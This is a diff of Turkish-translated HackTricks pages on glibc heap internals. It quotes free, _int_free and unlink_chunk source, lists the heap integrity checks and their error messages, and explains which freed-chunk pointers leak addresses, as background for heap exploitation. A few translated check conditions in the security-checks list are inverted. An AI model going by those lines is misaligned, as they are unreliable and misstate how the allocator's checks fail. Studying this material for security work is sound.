+<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+##

binary-exploitation/libc-heap/heap-memory-functions/free.md

@@ -0,0 +1,390 @@
+# free
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Free Sipariş Özeti <a href="#libc_free" id="libc_free"></a>
+
+(Bu özetde hiçbir kontrol açıklanmamıştır ve kısalık için bazı durumlar atlanmıştır)
+
+1. Eğer adres null ise hiçbir şey yapma
+2. Eğer parça mmap edilmişse, mummap et ve işlemi bitir
+3. `_int_free`'yi çağır:
+1. Mümkünse, parçayı tcache'e ekle
+2. Mümkünse, parçayı hızlı bin'e ekle
+3. Gerekirse parçayı birleştirmek için `_int_free_merge_chunk`'ı çağır ve sırasız listeye ekle
+
+## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
+
+`Free`, `__libc_free`'yi çağırır.
+
+* Geçirilen adres Null (0) ise hiçbir şey yapma.
+* İşaretçi etiketini kontrol et
+* Eğer parça `mmaped` ise, `mummap` et ve işlemi bitir
+* Değilse, renk ekle ve üzerine `_int_free`'yi çağır
+
+<details>
+
+<summary>__lib_free kodu</summary>
+```c
+void
+__libc_free (void *mem)
+{
+mstate ar_ptr;
+mchunkptr p;                          /* chunk corresponding to mem */
+
+if (mem == 0)                              /* free(0) has no effect */
+return;
+
+/* Quickly check that the freed pointer matches the tag for the memory.
+This gives a useful double-free detection.  */
+if (__glibc_unlikely (mtag_enabled))
+*(volatile char *)mem;
+
+int err = errno;
+
+p = mem2chunk (mem);
+
+if (chunk_is_mmapped (p))                       /* release mmapped memory. */
+{
+/* See if the dynamic brk/mmap threshold needs adjusting.
+Dumped fake mmapped chunks do not affect the threshold.  */
+if (!mp_.no_dyn_threshold
+&& chunksize_nomask (p) > mp_.mmap_threshold
+&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
+{
+mp_.mmap_threshold = chunksize (p);
+mp_.trim_threshold = 2 * mp_.mmap_threshold;
+LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
+mp_.mmap_threshold, mp_.trim_threshold);
+}
+munmap_chunk (p);
+}
+else
+{
+MAYBE_INIT_TCACHE ();
+
+/* Mark the chunk as belonging to the library again.  */
+(void)tag_region (chunk2mem (p), memsize (p));
+
+ar_ptr = arena_for_chunk (p);
+_int_free (ar_ptr, p, 0);
+}
+
+__set_errno (err);
+}
+libc_hidden_def (__libc_free)
+```
+</details>
+
+## \_int\_free <a href="#int_free" id="int_free"></a>
+
+### \_int\_free başlangıç <a href="#int_free" id="int_free"></a>
+
+Belirli kontrollerle başlar ve şunları sağlar:
+
+* **İşaretçinin** **hizalandığından** emin olur veya hata tetikler `free(): geçersiz işaretçi`
+* **Boyutun** minimumdan küçük olmadığından ve **boyutunun** de **hizalandığından** emin olur veya hata tetikler: `free(): geçersiz boyut`
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
+
+#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)
+
+static void
+_int_free (mstate av, mchunkptr p, int have_lock)
+{
+INTERNAL_SIZE_T size;        /* its size */
+mfastbinptr *fb;             /* associated fastbin */
+
+size = chunksize (p);
+
+/* Little security check which won't hurt performance: the
+allocator never wraps around at the end of the address space.
+Therefore we can exclude some size values which might appear
+here by accident or by "design" from some intruder.  */
+if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
+|| __builtin_expect (misaligned_chunk (p), 0))
+malloc_printerr ("free(): invalid pointer");
+/* We know that each chunk is at least MINSIZE bytes in size or a
+multiple of MALLOC_ALIGNMENT.  */
+if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
+malloc_printerr ("free(): invalid size");
+
+check_inuse_chunk(av, p);
+```
+</details>
+
+### \_int\_free tcache <a href="#int_free" id="int_free"></a>
+
+İlk olarak bu parçayı ilgili tcache'e ayırmaya çalışacaktır. Ancak önceden bazı kontroller yapılır. Serbest bırakılan parçanın aynı dizindeki tüm tcache parçaları üzerinden dönecektir ve:
+
+* Giriş sayısı `mp_.tcache_count`'dan fazlaysa: `free(): tcache'de fazla parça tespit edildi`
+* Giriş hizalanmamışsa: `free(): tcache 2'de hizalanmamış parça tespit edildi`
+* Serbest bırakılan parça zaten serbest bırakılmış ve tcache'de bir parça olarak mevcutsa: `free(): tcache 2'de çift serbest bırakma tespit edildi`
+
+Her şey yolunda giderse, parça tcache'e eklenir ve işlev geri döner.
+
+<details>
+
+<summary>_int_free tcache</summary>
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
+#if USE_TCACHE
+{
+size_t tc_idx = csize2tidx (size);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+/* Check to see if it's already in the tcache.  */
+tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+/* This test succeeds on double free.  However, we don't 100%
+trust it (it also matches random payload data at a 1 in
+2^<size_t> chance), so verify it's not an unlikely
+coincidence before aborting.  */
+if (__glibc_unlikely (e->key == tcache_key))
+{
+tcache_entry *tmp;
+size_t cnt = 0;
+LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+for (tmp = tcache->entries[tc_idx];
+tmp;
+tmp = REVEAL_PTR (tmp->next), ++cnt)
+{
+if (cnt >= mp_.tcache_count)
+malloc_printerr ("free(): too many chunks detected in tcache");
+if (__glibc_unlikely (!aligned_OK (tmp)))
+malloc_printerr ("free(): unaligned chunk detected in tcache 2");
+if (tmp == e)
+malloc_printerr ("free(): double free detected in tcache 2");
+/* If we get here, it was a coincidence.  We've wasted a
+few cycles, but don't abort.  */
+}
+}
+
+if (tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (p, tc_idx);
+return;
+}
+}
+}
+#endif
+```
+</details>
+
+### \_int\_free hızlı bin <a href="#int_free" id="int_free"></a>
+
+Öncelikle, boyutun hızlı bin için uygun olup olmadığını kontrol edin ve onu üst parça ile yakın bir şekilde ayarlayabilir miyiz diye kontrol edin.
+
+Ardından, serbest bırakılan parçayı hızlı bini en üste eklerken bazı kontroller yapın:
+
+- Parçanın boyutu geçersiz ise (çok büyük veya küçük) tetikleyin: `free(): invalid next size (fast)`
+- Eklenen parça zaten hızlı binin en üstünde ise: `double free or corruption (fasttop)`
+- Üstteki parçanın boyutu eklediğimiz parçanın boyutundan farklı ise: `invalid fastbin entry (free)`
+
+<details>
+
+<summary>_int_free Hızlı Bin</summary>
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
+
+/*
+If eligible, place chunk on a fastbin so it can be found
+and used quickly in malloc.
+*/
+
+if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+
+#if TRIM_FASTBINS
+/*
+If TRIM_FASTBINS set, don't place chunks
+bordering top into fastbins
+*/
+&& (chunk_at_offset(p, size) != av->top)
+#endif
+) {
+
+if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
+<= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (chunksize (chunk_at_offset (p, size))
+>= av->system_mem, 0))
+{
+bool fail = true;
+/* We might not have a lock at this point and concurrent modifications
+of system_mem might result in a false positive.  Redo the test after
+getting the lock.  */
+if (!have_lock)
+{
+__libc_lock_lock (av->mutex);
+fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
+|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
+__libc_lock_unlock (av->mutex);
+}
+
+if (fail)
+malloc_printerr ("free(): invalid next size (fast)");
+}
+
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+
+atomic_store_relaxed (&av->have_fastchunks, true);
+unsigned int idx = fastbin_index(size);
+fb = &fastbin (av, idx);
+
+/* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
+mchunkptr old = *fb, old2;
+
+if (SINGLE_THREAD_P)
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free).  */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+p->fd = PROTECT_PTR (&p->fd, old);
+*fb = p;
+}
+else
+do
+{
+/* Check that the top of the bin is not the record we are going to
+add (i.e., double free).  */
+if (__builtin_expect (old == p, 0))
+malloc_printerr ("double free or corruption (fasttop)");
+old2 = old;
+p->fd = PROTECT_PTR (&p->fd, old);
+}
+while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
+!= old2);
+
+/* Check that size of fastbin chunk at the top is the same as
+size of the chunk that we are adding.  We can dereference OLD
+only if we have the lock, otherwise it might have already been
+allocated again.  */
+if (have_lock && old != NULL
+&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
+malloc_printerr ("invalid fastbin entry (free)");
+}
+```
+### \_int\_free finali <a href="#int_free" id="int_free"></a>
+
+Eğer blok henüz herhangi bir kovada ayrılmamışsa, `_int_free_merge_chunk` fonksiyonunu çağırın.
+
+</details>
+```c
+/*
+Consolidate other non-mmapped chunks as they arrive.
+*/
+
+else if (!chunk_is_mmapped(p)) {
+
+/* If we're single-threaded, don't lock the arena.  */
+if (SINGLE_THREAD_P)
+have_lock = true;
+
+if (!have_lock)
+__libc_lock_lock (av->mutex);
+
+_int_free_merge_chunk (av, p, size);
+
+if (!have_lock)
+__libc_lock_unlock (av->mutex);
+}
+/*
+If the chunk was allocated via mmap, release via munmap().
+*/
+
+else {
+munmap_chunk (p);
+}
+}
+```
+</details>
+
+## \_int\_free\_merge\_chunk
+
+Bu işlev, P boyutundaki CHUNK'ı komşularıyla birleştirmeye çalışacaktır. Sonuçta oluşan parçayı sıralanmamış kova listesine koyar.
+
+Bazı kontroller yapılır:
+
+* Eğer parça en üst parça ise: `double free or corruption (top)`
+* Eğer bir sonraki parça arena sınırlarının dışında ise: `double free or corruption (out)`
+* Eğer parça kullanılmış olarak işaretlenmemişse (`prev_inuse`'da bulunan bir sonraki parçada): `double free or corruption (!prev)`
+* Eğer bir sonraki parçanın boyutu çok küçük veya çok büyükse: `free(): invalid next size (normal)`
+* Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, prev\_size önceki parçada belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
+
+<details>
+
+<summary>_int_free_merge_chunk kodu</summary>
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
+
+/* Try to merge chunk P of SIZE bytes with its neighbors.  Put the
+resulting chunk on the appropriate bin list.  P must not be on a
+bin list yet, and it can be in use.  */
+static void
+_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
+{
+mchunkptr nextchunk = chunk_at_offset(p, size);
+
+/* Lightweight tests: check whether the block is already the
+top block.  */
+if (__glibc_unlikely (p == av->top))
+malloc_printerr ("double free or corruption (top)");
+/* Or whether the next chunk is beyond the boundaries of the arena.  */
+if (__builtin_expect (contiguous (av)
+&& (char *) nextchunk
+>= ((char *) av->top + chunksize(av->top)), 0))
+malloc_printerr ("double free or corruption (out)");
+/* Or whether the block is actually not marked used.  */
+if (__glibc_unlikely (!prev_inuse(nextchunk)))
+malloc_printerr ("double free or corruption (!prev)");
+
+INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
+if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
+|| __builtin_expect (nextsize >= av->system_mem, 0))
+malloc_printerr ("free(): invalid next size (normal)");
+
+free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
+
+/* Consolidate backward.  */
+if (!prev_inuse(p))
+{
+INTERNAL_SIZE_T prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size while consolidating");
+unlink_chunk (av, p);
+}
+
+/* Write the chunk header, maybe after merging with the following chunk.  */
+size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
+_int_free_maybe_consolidate (av, size);
+}
+```
+</details>
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>

binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md

@@ -0,0 +1,172 @@
+# Heap Fonksiyonları Güvenlik Kontrolleri
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## unlink
+
+Daha fazla bilgi için kontrol edin:
+
+{% content-ref url="unlink.md" %}
+[unlink.md](unlink.md)
+{% endcontent-ref %}
+
+Yapılan kontrollerin özeti şunlardır:
+
+* Belirtilen blok boyutunun, bir sonraki blokta belirtilen `prev_size` ile aynı olup olmadığını kontrol edin
+* Hata mesajı: `corrupted size vs. prev_size`
+* Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` olduğundan emin olun
+* Hata mesajı: `corrupted double-linked list`
+* Blok küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` olduğundan emin olun
+* Hata mesajı: `corrupted double-linked list (not small)`
+
+## \_int\_malloc
+
+Daha fazla bilgi için kontrol edin:
+
+{% content-ref url="malloc-and-sysmalloc.md" %}
+[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
+{% endcontent-ref %}
+
+* **Hızlı blok araması sırasında yapılan kontroller:**
+* Blok hizalanmamışsa:
+* Hata mesajı: `malloc(): unaligned fastbin chunk detected 2`
+* İleri blok hizalanmamışsa:
+* Hata mesajı: `malloc(): unaligned fastbin chunk detected`
+* Döndürülen bloğun boyutu, hızlı blok içindeki dizine göre doğru değilse:
+* Hata mesajı: `malloc(): memory corruption (fast)`
+* Tcache'i doldurmak için kullanılan herhangi bir blok hizalanmamışsa:
+* Hata mesajı: `malloc(): unaligned fastbin chunk detected 3`
+* **Küçük blok araması sırasında yapılan kontroller:**
+* `victim->bk->fd != victim` ise:
+* Hata mesajı: `malloc(): smallbin double linked list corrupted`
+* **Konsolidasyon sırasında yapılan kontroller** her hızlı blok bloğu için gerçekleştirilir:&#x20;
+* Blok hizalanmamışsa tetikleyin:
+* Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
+* Bloğun, içinde bulunduğu dizine göre farklı bir boyuta sahip olması durumunda:
+* Hata mesajı: `malloc_consolidate(): invalid chunk size`
+* Önceki blok kullanımda değilse ve önceki bloğun boyutu prev\_chunk tarafından belirtilenden farklıysa:
+* Hata mesajı: `corrupted size vs. prev_size in fastbins`
+* **Sırasız blok araması sırasında yapılan kontroller**:
+* Blok boyutu garipse (çok küçük veya çok büyük):&#x20;
+* Hata mesajı: `malloc(): invalid size (unsorted)`
+* Sonraki blok boyutu garipse (çok küçük veya çok büyük):
+* Hata mesajı: `malloc(): invalid next size (unsorted)`
+* Bir sonraki bloğun belirttiği önceki blok boyutu, bloğun boyutundan farklıysa:
+* Hata mesajı: `malloc(): mismatching next->prev_size (unsorted)`
+* Eğer `victim->bck->fd == victim` değilse veya `victim->fd == av (arena)` değilse:
+* Hata mesajı: `malloc(): unsorted double linked list corrupted`
+* Her zaman sonuncusunu kontrol ettiğimizden, fd'sinin her zaman arena yapısına işaret etmesi gerekir.
+* Sonraki blok, öncekinin kullanımda olduğunu belirtmiyorsa:
+* Hata mesajı: `malloc(): invalid next->prev_inuse (unsorted)`
+* `fwd->bk_nextsize->fd_nextsize != fwd` ise:
+* Hata mesajı: `malloc(): largebin double linked list corrupted (nextsize)`
+* `fwd->bk->fd != fwd` ise:
+* Hata mesajı: `malloc(): largebin double linked list corrupted (bk)`
+* **Büyük blok (dizinle) araması sırasında yapılan kontroller**:
+* `bck->fd-> bk != bck` ise:
+* Hata mesajı: `malloc(): corrupted unsorted chunks`
+* **Büyük blok (bir sonraki büyük) araması sırasında yapılan kontroller**:
+* `bck->fd-> bk != bck` ise:
+* Hata mesajı: `malloc(): corrupted unsorted chunks2`
+* **Üst blok kullanımı sırasında yapılan kontroller**:
+* `chunksize(av->top) > av->system_mem` ise:
+* Hata mesajı: `malloc(): corrupted top size`
+
+## `tcache_get_n`
+
+* **`tcache_get_n` içindeki kontroller:**
+* Blok hizalanmamışsa:
+* Hata mesajı: `malloc(): unaligned tcache chunk detected`
+
+## `tcache_thread_shutdown`
+
+* **`tcache_thread_shutdown` içindeki kontroller:**
+* Blok hizalanmamışsa:
+* Hata mesajı: `tcache_thread_shutdown(): unaligned tcache chunk detected`
+
+## `__libc_realloc`
+
+* **`__libc_realloc` içindeki kontroller:**
+* Eski işaretçi hizalanmamışsa veya boyut yanlışsa:
+* Hata mesajı: `realloc(): invalid pointer`
+
+## `_int_free`
+
+Daha fazla bilgi için kontrol edin:
+
+{% content-ref url="free.md" %}
+[free.md](free.md)
+{% endcontent-ref %}
+
+* **`_int_free` başlangıcındaki kontroller:**
+* İşaretçi hizalanmışsa:
+* Hata mesajı: `free(): invalid pointer`
+* Boyut `MINSIZE`'dan büyükse ve boyut aynı zamanda hizalanmışsa:
+* Hata mesajı: `free(): invalid size`
+* **`_int_free` tcache'deki kontroller:**
+* `mp_.tcache_count`'dan fazla giriş varsa:
+* Hata mesajı: `free(): too many chunks detected in tcache`
+* Giriş hizalanmamışsa:
+* Hata mesajı: `free(): unaligned chunk detected in tcache 2`
+* Serbest bırakılan blok zaten serbest bırakılmışsa ve tcache'te bir blok olarak mevcutsa:
+* Hata mesajı: `free(): double free detected in tcache 2`
+* **`_int_free` hızlı blok içindeki kontroller:**
+* Blok boyutu geçersizse (çok büyük veya küçük) tetikleyin:
+* Hata mesajı: `free(): invalid next size (fast)`
+* Eklenen blok zaten hızlı blok üstünde ise:
+* Hata mesajı: `double free or corruption (fasttop)`
+* Üstteki bloğun boyutu, eklediğimiz bloğun boyutundan farklıysa:
+* Hata mesajı: `invalid fastbin entry (free)`
+## **`_int_free_merge_chunk`**
+
+* **`_int_free_merge_chunk` içinde yapılan kontroller:**
+* Eğer chunk en üst chunk ise:
+* Hata mesajı: `double free or corruption (top)`
+* Eğer bir sonraki chunk arena sınırlarının dışında ise:
+* Hata mesajı: `double free or corruption (out)`
+* Eğer chunk kullanılmamış olarak işaretlenmemişse (bir sonraki chunk'taki prev\_inuse'ta):
+* Hata mesajı: `double free or corruption (!prev)`
+* Eğer bir sonraki chunk'ın boyutu çok küçük veya çok büyükse:
+* Hata mesajı: `free(): invalid next size (normal)`
+* Eğer önceki chunk kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, `prev_size` önceki chunk'ta belirtilen boyuttan farklıysa:
+* Hata mesajı: `corrupted size vs. prev_size while consolidating`
+
+## **`_int_free_create_chunk`**
+
+* **`_int_free_create_chunk` içinde yapılan kontroller:**
+* Sırasız bin'e bir chunk eklenirken, `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` kontrol edilir:
+* Hata mesajı: `free(): corrupted unsorted chunks`
+
+## `do_check_malloc_state`
+
+* **`do_check_malloc_state` içinde yapılan kontroller:**
+* Hatalı hızlı bin chunk'ı:
+* Hata mesajı: `do_check_malloc_state(): unaligned fastbin chunk detected`
+
+## `malloc_consolidate`
+
+* **`malloc_consolidate` içinde yapılan kontroller:**
+* Hatalı hızlı bin chunk'ı:
+* Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected`
+* Yanlış hızlı bin chunk boyutu:
+* Hata mesajı: `malloc_consolidate(): invalid chunk size`
+
+## `_int_realloc`
+
+* **`_int_realloc` içinde yapılan kontroller:**
+* Boyut çok büyük veya çok küçük:
+* Hata mesajı: `realloc(): invalid old size`
+* Bir sonraki chunk'ın boyutu çok büyük veya çok küçük:
+* Hata mesajı: `realloc(): invalid next size`

binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -0,0 +1,91 @@
+# unlink
+
+<details>
+
+<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+
+</details>
+
+### Kod
+```c
+// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+
+/* Take a chunk off a bin list.  */
+static void
+unlink_chunk (mstate av, mchunkptr p)
+{
+if (chunksize (p) != prev_size (next_chunk (p)))
+malloc_printerr ("corrupted size vs. prev_size");
+
+mchunkptr fd = p->fd;
+mchunkptr bk = p->bk;
+
+if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
+malloc_printerr ("corrupted double-linked list");
+
+fd->bk = bk;
+bk->fd = fd;
+if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
+{
+if (p->fd_nextsize->bk_nextsize != p
+|| p->bk_nextsize->fd_nextsize != p)
+malloc_printerr ("corrupted double-linked list (not small)");
+
+// Added: If the FD is not in the nextsize list
+if (fd->fd_nextsize == NULL)
+{
+
+if (p->fd_nextsize == p)
+fd->fd_nextsize = fd->bk_nextsize = fd;
+else
+// Link the nexsize list in when removing the new chunk
+{
+fd->fd_nextsize = p->fd_nextsize;
+fd->bk_nextsize = p->bk_nextsize;
+p->fd_nextsize->bk_nextsize = fd;
+p->bk_nextsize->fd_nextsize = fd;
+}
+}
+else
+{
+p->fd_nextsize->bk_nextsize = p->bk_nextsize;
+p->bk_nextsize->fd_nextsize = p->fd_nextsize;
+}
+}
+}
+```
+### Grafiksel Açıklama
+
+Unlink işlemine dair harika bir grafiksel açıklamayı kontrol edin:
+
+<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
+
+### Güvenlik Kontrolleri
+
+* Belirtilen parçanın boyutunun, bir sonraki parçada belirtilen prev\_size ile aynı olup olmadığını kontrol edin
+* Ayrıca `P->fd->bk == P` ve `P->bk->fw == P` olduğunu kontrol edin
+* Parça küçük değilse, `P->fd_nextsize->bk_nextsize == P` ve `P->bk_nextsize->fd_nextsize == P` olduğunu kontrol edin
+
+### Sızıntılar
+
+Bağlantısı kesilmiş bir parça, ayrılan adresleri temizlemediği için, ona erişim sağlamak, bazı ilginç adresleri sızdırmak mümkündür:
+
+Libc Sızıntıları:
+
+* P, çift yönlü bağlı listedeki başta bulunuyorsa, `bk` libc'te `malloc_state`'e işaret edecektir
+* P, çift yönlü bağlı listedeki sonunda bulunuyorsa, `fd` libc'te `malloc_state`'e işaret edecektir
+* Çift yönlü bağlı liste yalnızca bir boş parça içeriyorsa, P çift yönlü bağlı listede bulunur ve hem `fd` hem de `bk`, `malloc_state` içindeki adresi sızdırabilir.
+
+Heap Sızıntıları:
+
+* P, çift yönlü bağlı listedeki başta bulunuyorsa, `fd` heap'te bir kullanılabilir parçaya işaret edecektir
+* P, çift yönlü bağlı listedeki sonunda bulunuyorsa, `bk` heap'te bir kullanılabilir parçaya işaret edecektir
+* P, çift yönlü bağlı listede bulunuyorsa, hem `fd` hem de `bk`, heap'te bir kullanılabilir parçaya işaret edecektir

binary-exploitation/libc-heap/heap-overflow.md

@@ -0,0 +1,67 @@
+# Heap Taşması
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
